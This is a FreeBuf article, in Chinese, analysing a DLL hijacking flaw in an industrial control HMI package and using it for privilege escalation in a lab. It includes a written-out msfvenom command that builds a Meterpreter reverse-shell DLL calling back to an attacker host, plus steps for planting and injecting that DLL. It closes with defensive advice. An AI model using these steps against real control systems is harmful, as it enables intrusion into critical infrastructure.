freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

工控软件dll劫持漏洞分析
2020-07-02 09:00:38

一、概述

工业控制软件规模不断扩大、复杂性不断提高,工业控制系统自身的漏洞和攻击面日益增大,本文针对一款工控软件的dll劫持漏洞进行权限提升的研究。

二、环境准备

a)工控组态软件:紫金桥监控组态软件 V6.5(官网下载中心有测试版可免费下载)

b)靶机:winxp sp3 vm

攻击机:kali linux vm

c)将紫金桥监控组态软件V6.5下载后并在靶机中安装

三、寻找可劫持进程ProgMan.exe的dll

a)开启进程ProgMan.exe,用procexp.exe查看进程加载的dll

b)与注册表项进行对比

c)可见ws2help.dll满足dll劫持的要求,使用DLL_Hijacker.py生成源码CPP文件

d)将ws2help.cpp编译生成ws2help.dll,然后放到ProgMan.exe的目录下

e)打开程序ProgMan.exe,DLL_Hijacker.py的弹窗信息代码可根据自己的需求进行适当修改,本文对DLL_Hijacker.py弹窗信息代码进行了修改,采用的弹窗信息为“Notice, you've been hacked!”

四、利用msf基于dll劫持实现权限提升

a)开启kali,利用msfvenom指令创建反弹shell的dll文件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.180.146 LPORT=1234 -f dll >/root/ws2help.dll

将生成的ws2help.dll拷贝至靶机:winxp sp3 vm

b)利用Msf中的handler模块开启监听

c)在靶机中开启进程ProgMan.exe,利用DllInject.exe,将ws2help.dll注入到进程,发现已提升权限

五、总结及防护建议

本文针对工控软件尝试dll劫持漏洞的挖掘过程以及权限提升,演示了小漏洞如果利用得当也可以产生比较大的危害效果。本文整理了dll劫持的防御几点方法如下:

1.系统程序自检

用户或系统管理员对系统内运行的所有进程排查,查看是否存dll劫持漏洞。如若发现可疑软件,立即去软件产商的官网中找查相关的补丁或升级版本。

2.部署防护设备

针对远程DLL劫持漏洞的利用一定会有远程加载DLL的过程,防护设备,如IPS在对网络流量的检测时,可以发现并阻断此类可疑的加载,甚至根据用户配置可以对所有DLL文件的直接传输进行告警或阻断。

3.程序加固

防御DLL劫持的方法最好还是程序自己本身的加固,比如,在程序运行后,遍历当前路径下的dll,确认MD5和数字签名安全后,再进行后续的加载。

六、 参考链接

本文借鉴了一些大牛的分享,相关参考链接如下:

https://www.freebuf.com/articles/78807.html

https://www.cnblogs.com/Yang34/p/12539346.html

https://blog.csdn.net/m0_37552052/article/details/90287476

http://www.h3c.com/CN/D_201110/727410_30008_0.htm

# 工控 # 权限提升 # 劫持漏洞
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录